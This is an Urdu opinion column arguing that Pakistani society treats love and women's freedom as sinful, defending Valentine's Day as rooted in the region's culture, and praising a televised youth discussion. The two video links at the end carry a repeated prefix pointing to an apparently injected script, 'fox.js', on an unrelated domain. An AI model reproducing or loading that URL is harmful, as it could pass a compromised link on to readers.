Hai tujhe bhi ijazat kar le tu bhi mohabbat

ہم انسان کی آذادیوں اور جدید خیالات سے سہمے ہوۓ معاشرے میں سانس لے رہے ہیں، جہاں ہر نئ فکر اور نظریے کو سماج اور مذہب سے بغاوت قرار دے کر کچلا جارہا ہے۔ مذہب اورثقافت کو آپس میں بے ترتیب انداذ میں میں جوڑ کر معاشرے کے پیکر کو جس طرح تراشا گیا ہے، اس پر جدید خیالات اور انسانی جذبات کے اثرات بہت کم ہوۓ ہیں۔ ہمارے ارد گرد مذہب کا جو زرہ بکتر ہے، اس کی وجہ سے ہمیں ہر نئ فکرایک سازش اور دشمن نظر آتی ہے، اور ہمارا معاشرہ محبت کے لمس، ذائقے اورخوشبو سے عاری اور آگ، خون،جبر اور دہشت میں لپٹا دکھائ دیتا ہے۔

ہمارے ہاں محبت ایک احساس گناہ ہے، جس میں روح اورجسم کو کاٹ کر الگ الگ جینے پرمجبورکیا جا رہا ہے۔ روح کو تو ہم پاکیزگی کا درجہ دیتے ہیں مگر جسم کی حیشیت ہمارے نذدیک بدکاری سے ذیادہ کچھ بھی نہیں۔ اس احساس گناہ کی پرچھائیاں ہر سمت پھیلی ہوئ ہیں۔ ہم روح کو پاک اور جسم کو ناپاک سمجھنےکی غلطی میں ذندگی کے ‘کل’ سے کتراتے ہوۓ احساس گناہ میں مبتلہ رہتے ہیں۔ ہم نے اس طرح جنت کی تلاش میں اپنے اندر کئ دوزخ پیدا کرلۓہیں۔

عورت اورمحبت معاشرے میں خوبصورتیاں تخلیق کرتی ہیں۔ آج ہم جس زمانے میں سانس لے رہے ہیں وہ عورت کا تخلیق کردہ ہی ہے؛ دوسری جنگ عظیم میں جب مرد لقمہ اجل بن گۓتھے، تو یہ عورت ہی تھی، جس نے گھر سے نکل کر اس اجڑی دنیا کو آباد کیا۔ ہم سےتو بہتر ‘دیو داس’ ہی تھا، جس نے عورت کو دوست کے روپ میں قبول کیا۔ ہمارے ایک سابق جج نے یہ ریمارکس دئیے تھے کہ ” عورت ماں، بہن، بیوی اور بیٹی ہوسکتی ہے مگر دوست نہیں۔”

ہم عورت کو دوست نہیں بلکہ ایک مفتوح قیدی تصور کرتے ہیں، جو سانس تو لیتی ہے مگراس کی اپنی کوئ رضا مرضی نہیں۔ وہ ایک فالتو اور پالتو شے ہے۔

جو لوگ ویلائنٹائن ڈے کو مغربی یلغار قراردے رہے ہیں، وہ اس دھرتی پر ہزاروں سال سے زائد پھیلی ہوئ محبت کی تاريخ سے انکار کررہے ہیں۔ یہ ہزاروں سال قبل ازمسیح’ اجنتا ایلورااور کھاجو راؤ میں تراشے ہوۓ مجسموں، رادھاکرشن کی پریم کتھا، غالب اور میر کی رومانوی شاعری’ ہیر رانجھا، سوہنی ماہینوال اور مرزا صاحباں کے لازوال قصوں کاانکار ہے۔ محبت تواس خطے کی صدیوںسے میراث ہے۔

‘پاکستان پوچھتا ہے’ ایکسپریس نیوز سے منیزہ جہانگیر پیش کرتی ہیں، مورخہ پندرہ فروری کو ویلا ئنٹائن ڈے کی مناسبت سے پروگرام کا اہتمام کیا گیا، جس میں پینل کے علاوہ نوجوان لڑکےاور لڑکیوں نے شرکت کی۔ اس شو سے ہمیں پاکستان کی مجموعی صورت حال کا اندازہ ہوتا ہے، جس میں مذہبی طبقہ آذادی انتخاب کو مذہب سے دوری قرار دے رہا ہے، اور ایک پڑھی لکھی خاتون آذادی کو انسانی ضرورت بتا رہی ہیں، جبکہ نوجوان طبقہ اپنی تمام تر کنفیوژن کے باوجود معاملات کو سمجھنےکی کوشش کر رہا ہے اور سوالات بھی اٹھا رہا ہے۔ ہم سمجھتے ہیں ایسے پروگرامز کی بہت ضرورت ہے، جس میں نوجوان طبقے کو بات کرنے کا موقع دیا جاۓ ان کے بھی خیالات سنے جائیں، ساست سے ہٹ کر کوئ بات ہو۔ لوگ اب شیخ رشید ٹائپ کے ‘ٹاک شوز’ دیکھ کر اکتا چکے ہیں۔

ہمیں ذندہ لوگوں کی سرزمین پر اپنے معاشرے کو تخلیق کرنا ہے، جس میں لوگ سانس لے سکیں، ذندہ رہ سکیں اور جہاں لوگوں کو محبت کی اجازت ہو۔

http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&www.youtube.com/watch?v=qi5HBB55sP8

http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&www.youtube.com/watch?v=AdL0vswQJK4&feature=related

Comments

comments

Latest Comments
  1. MIAN MATLOOB AHMED
    -
  2. MIAN MATLOOB AHMED
    -
  3. Social Media monitor
    -
  4. Kristal
    -